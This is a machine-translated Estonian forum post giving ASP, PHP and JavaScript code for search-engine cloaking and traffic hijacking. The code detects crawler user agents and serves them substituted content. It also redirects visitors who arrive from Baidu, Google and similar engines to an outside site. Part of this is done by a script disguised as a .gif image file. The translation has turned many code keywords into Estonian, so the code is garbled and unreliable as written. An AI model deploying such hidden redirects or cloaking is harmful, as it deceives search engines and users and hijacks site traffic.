Esiteks on see lihtne: lisa avalehele järgmine kood:
ASP versioon
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>
PHP versioon
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>
Seejärel lisa järgmine kood conn-faili vastavalt veebilehe programmile, kui sul pole conn.asp ega conn.php, loo see ise:
conn.asp väljaanne
----------- järgmise reprodutseerimise--------------------------------
<%
funktsioon isspider()
Dim agent, Searray, mina
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("Googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= vale
i=0 jaoks ubound(searray)
kui (instr(agent,searray(i))>0), siis isspider=true
Järgmine
lõppfunktsioon
funktsioon fromse()
dim URLREFER,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= vale
if urlrefer="" siis fromse= false
searray=array("Google","baidu","sogou","yahoo","soso","360")
i=0 jaoks ubound(searray)
kui (instr(urlrefer,searray(i))>0), siis fromse=true
Järgmine
lõppfunktsioon
funktsioon gethttp(URL)
Dim HTTP
set http=createobject("MSXML2. XMLHTTP")
http.ava "GET",url,false
http.send()
kui Http.readystate<>4, siis
Väljumisfunktsioon
lõpp kui
gethttp=bytes2BSTR(Http.responseBody)
seada http=mitte midagi
Kui err.number<>0, siis err. Selge
lõppfunktsioon
function bytes2BSTR(vIn)
dim strTagasi
dim i,ThisCharCode,NextCharCode
strReturn = ""
Kui i = 1 Kuni LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Kui ThisCharCode < &H80, siis
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Lõpp Kui
Järgmine
bytes2BSTR = strReturn
Lõppfunktsioon
if(isspider()) siis
Dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
vastus.selge
remotehtml=gethttp(bodyURL)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
response.lõpp
lõpp kui
%>
conn.php
---------------- järgmist reprodutseerimist----------------
<?php
funktsioon is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = massiiv ('baiduspider','sogou spider','sosospider','iaskspider','naverrobot');
foreach ($identify AS $key => $tag){
if (strstr($user_agent, $tag)){
return true;
}
}
tagasta vale; }
funktsioon is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = plahvata("@",$come_from);
foreach($referer as $url){
if (stristr($_SERVER['HTTP_REFERER'],$url)){
return true;
}
}
tagasta vale; }
if (is_search_bot())
{
$html = "<title>Wuhan Software Engineering Vocational College</title> <meta name=\"Autor\" content=\"Täida sama mis märksõnad\"> <meta name=\"Keywords\" content=\"Keywords\"> <meta name=
\"kirjeldus\" content=\"kirjeldus\"> </head> <body>sisu</body></html>";
Echo $html;
}
if (!is_search_bot() & & is_urlbaidu())
{
Päis('Asukoht:http://www.itsvse.com');
}
?>
Lõpuks, pildikaustas, laadi üles k.gif fail k.gif koodi:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Ümbersuunamise URL
|
Postitatud 01.12.2014 18:48:55
|
|
|
